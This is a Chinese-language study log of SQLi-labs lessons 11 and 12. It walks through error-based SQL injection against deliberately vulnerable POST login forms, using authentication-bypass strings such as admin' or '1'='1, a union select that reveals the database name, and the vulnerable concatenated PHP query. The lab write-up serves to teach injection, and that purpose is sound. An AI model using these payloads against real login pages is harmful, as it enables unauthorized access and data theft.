本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 11: POST - Error Based - Single Quotes - String
-
测试漏洞
在 username 中输入 admin'--+ 在 password 中输入任意内容
显示错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaa' LIMIT 0,1' at line 1
结果显示是对 ’ 的处理产生的错误
尝试使用万能密码
在 username 中输入 admin' or '1'='1 在 password 中输入任意内容
返回的正确的结果
-
源代码分析
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; # 变成了: @$sql="SELECT username, password FROM users WHERE username='admin'or'1'='1' and password='$passwd' LIMIT 0,1";
前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以 admin 的用户登录。那么接下来我们尝试用 get 注入中用到的其他的语句代替 or 1=1 进行注入。
这里我们用 union 注入进行尝试:
username:1'union select 1,database()# passwd=1(任意密码)
可以看到显示了database 为security,这是我们比较常用的手法。
还可以利用其他的方法进行注入。上述在get 型注入中提到的语句都可以使用。当然了,还可以利用其他的方法进行注入,我们在后面的几个关卡中会给出示例的payload。
Less - 12: POST - Error based - Double Quotes - with twist##
-
测试漏洞
在 username 中输入 admin" 在 password 中输入任意内容
显示错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ddd") LIMIT 0,1' at line 1
我们可以得知这里的id 进行了(“id”)的处理,所以我们依旧可以用万能密码进行尝试。
在 username 中输入 admin")# 在 password 中输入任意内容
在 username 中输入 admin") or 1=1# 在 password 中输入任意内容
用admin ")or 1=1# 方式登录的话,居然是Dumb 登录,这里解释一下为什么不是admin 登录。其实是因为sql 执行的优先级的问题。